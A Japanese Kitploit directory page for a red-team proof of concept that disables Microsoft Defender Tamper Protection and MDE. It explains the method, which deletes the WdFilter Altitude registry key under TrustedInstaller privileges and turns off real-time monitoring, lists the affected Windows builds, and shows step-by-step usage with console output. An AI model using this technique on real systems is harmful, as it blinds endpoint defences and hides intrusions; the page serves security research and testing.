Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Disable-TamperProtection — TamperProtectionやその他のDefender / MDEコンポーネントを無効にするPoC | Kitploit
ツール/GitHubGitHub/alteredsecurity/disable-tamperprotection
ポストエクスプロイトペネトレーションテストレッドチーミング敵対的攻撃
GitHubalteredsecurity/disable-tamperprotection

Disable-TamperProtection

TamperProtectionやその他のDefender / MDEコンポーネントを無効にするPoC

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
2584032年前Kitploit レビュー済み
共有

Tamper Protectionとその他のDefender / MDEコンポーネントの無効化

SYSTEM / TrustedInstaller権限を悪用して、WdFilterの設定(ALTITUDEレジストリキー)を改ざん・削除し、カーネルミニドライバをアンロードすることで、Tamper Protectionやその他のDefenderコンポーネントを無効化することが可能です。これはMicrosoftのDefender for Endpoint(MDE)にも影響し、MDEを標的に対するテレメトリやアクティビティの通知から遮断します。

この脆弱性は、テスト中に以下のWindowsバージョンに影響することが確認されました。

  • Windows Server 2022(BuildLabEx Version: 20348.1.amd64fre.fe_release.210507-1500まで)(2024年4月更新)
  • Windows Server 2019
  • Windows 10(BuildLabEx Version: 19041.1.amd64fre.vb_release.191206-1406まで)(2024年4月更新)
  • Windows 11(BuildLabEx Version: 22621.1.amd64fre.ni_release.220506-1250まで)(2023年9月更新)

このバイパスとPOCを説明するブログ: https://www.alteredsecurity.com/post/disabling-tamper-protection-and-other-defender-mde-components

使用方法

注: ターゲットにVC_redist.x64.exe(MSVCランタイム)のインストールが必要になる場合があります。

POCデモ: https://youtu.be/MI6aVDHRix8

POCは3つのステップで動作します(管理者権限が必要です):

root@kitploit:~
C:\> .\Disable-TamperProtection.exe
Sequential Usage: 1 --> 2 --> 3
1:      Unload WdFilter
2:      Disable Tamper Protection
3:      Disable AV/MDE
4:      Restore AV/MDE settings

POCの使用例は次のとおりです:

  1. WdFilterのアンロード:
root@kitploit:~
C:\> .\Disable-TamperProtection.exe 1
[+] WdFilter Altitude Registry key Value: 328010
[+] Trusted Installer handle: 0000000000000120
[!] Spawning registry with TrustedInstaller privileges to delete WdFilter "Altitude" regkey.
[+] Created process ID: 3744 and assigned additional token privileges.
[+] Execute option 1 to validate!

# 2回目の実行で上記の出力が繰り返される場合、ターゲットは脆弱ではありません
C:\> .\Disable-TamperProtection.exe 1
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Enumerating WdFilter information:
        Next:   0 | Frame ID:   0 | No. of Instances:   4 | Name:        wdfilter | Altitude:          328010
[+] Restart the system or wait a few minutes for WdFilter to unload.
[+] Execute option 1 to validate!

# 再起動してWdFilterをクラッシュさせ、アンロードします
C:\> .\Disable-TamperProtection.exe 1
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] WDFilter has been successfully unloaded, use option 2 to disable Tamper Protection.
  1. Tamper Protectionの無効化:
root@kitploit:~
C:\> .\Disable-TamperProtection.exe 2
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Trusted Installer handle: 00000000000000C4
[!] Spawning registry with TrustedInstaller privileges to alter Defender "TamperProtection" regkey from 5 to 4.
[+] Created process ID: 7748 and assigned additional token privileges.
[+] Use option '3' to finally Disable AV/MDE.
  1. Defender / MDEコンポーネントの無効化:
root@kitploit:~
C:\> .\Disable-TamperProtection.exe 3
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Trusted Installer handle: 000000000000011C
[!] Spawning registry with TrustedInstaller privileges to Disable 'RealtimeMonitoring' regkey.
[+] To disable other components of defender check source.
[+] Created process ID: 8040 and assigned additional token privileges.
  1. WdFilterミニドライバ、TamperProtection、Defender設定(リアルタイム)の復元/再設定。POCの530行目でAltitude番号(デフォルト: 328010)を元の値に戻すことを忘れないでください。
root@kitploit:~
# 実行後にコンピュータを再起動して、設定を正常に復元します
C:\> .\Disable-TamperProtection.exe 4
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Make sure to change Altitude in Source (Default: 328010) and reboot computer after execution.
[+] Trusted Installer handle: 0000000000000120
[!] Spawning registry with TrustedInstaller privileges to Enable 'RealtimeMonitoring' regkey.
[+] Created process ID: 5852 and assigned additional token privileges.
[!] Spawning registry with TrustedInstaller privileges to Enable 'TamperProtection' regkey.
[+] Created process ID: 2744 and assigned additional token privileges.
[!] Spawning registry with TrustedInstaller privileges to restore WdFilter "Altitude" regkey.
[+] Created process ID: 7044 and assigned additional token privileges.

参照

  • Load order groups and altitudes for minifilter drivers by Microsoft
  • NSudo
  • superUser
  • Research paper on Blinding Defender
  • MDE Internals by FalconForce

クレジット

投稿者: Munaf Shariff (@m3rcer)

Altered Securityのセキュリティリサーチャー

ツールをダウンロード